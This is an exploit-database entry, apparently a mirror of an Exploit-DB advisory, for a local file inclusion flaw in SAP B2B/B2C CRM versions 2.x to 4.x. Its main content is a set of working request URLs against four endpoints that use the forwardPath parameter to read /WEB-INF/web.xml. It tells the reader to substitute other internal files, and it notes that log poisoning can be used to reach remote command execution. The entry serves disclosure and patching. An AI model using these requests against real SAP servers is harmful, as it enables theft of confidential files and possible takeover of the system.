SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion

vendor:

B2B OR B2C CRM

by:

Richard Alviarez

8.8

CVSS

HIGH

Local File Inclusion

CWE

Product Name: B2B OR B2C CRM

Affected Version From: 2.x

Affected Version To: 4.x

Patch Exists: YES

Related CWE: N/A

CPE: SAP:B2B_OR_B2C_CRM

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2018

SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion

A possible attacker can take advantage of this vulnerability to obtain confidential information of the platform, as well as the possibility of writing in the logs of the registry in order to get remote execution of commands and take control of the system.

Mitigation:

Ensure that user input is properly validated and sanitized to prevent malicious code from being executed.

Source

Exploit-DB raw data:

# Title: SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion
# Application:SAP B2B OR B2C is CRM
# Versions Affected: SAP B2B OR B2C is CRM 2.x 3.x and 4.x with Bakend R/3 (to icss_b2b)
# Vendor URL: http://SAP.com
# Bugs: SAP LFI in B2B OR B2C CRM
# Sent:  2018-05-03
# Reported:  2018-05-03
# Date of Public Advisory: 2018-02-09
# Reference: SAP Security Note 1870255656
# Author: Richard Alviarez

# 1. VULNERABLE PACKAGES
# SAP LFI in B2B OR B2C CRM v2.x to 4.x
# Other versions are probably affected too, but they were not checked.

# 2. TECHNICAL DESCRIPTION
# A possible attacker can take advantage of this vulnerability 
# to obtain confidential information of the platform, 
# as well as the possibility of writing in the logs of the
# registry in order to get remote execution of commands and take control of the system.


# 3. Steps to exploit this vulnerability

A. Open
https://SAP/{name}_b2b/initProductCatalog.do?forwardPath=/WEB-INF/web.xml

Other vulnerable parameters:

https://SAP/{name}_b2b/CatalogClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/IbaseSearchClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/ForwardDynamic.do?forwardPath=/WEB-INF/web.xml
page on SAP server

B. Change parameter {name} for example icss_b2b or other name....

C. Change "/WEB-INF/web.xml" for other files or archives internal.


# 4. Collaborators
# - CuriositySec
# - aDoN90
# - Vis0r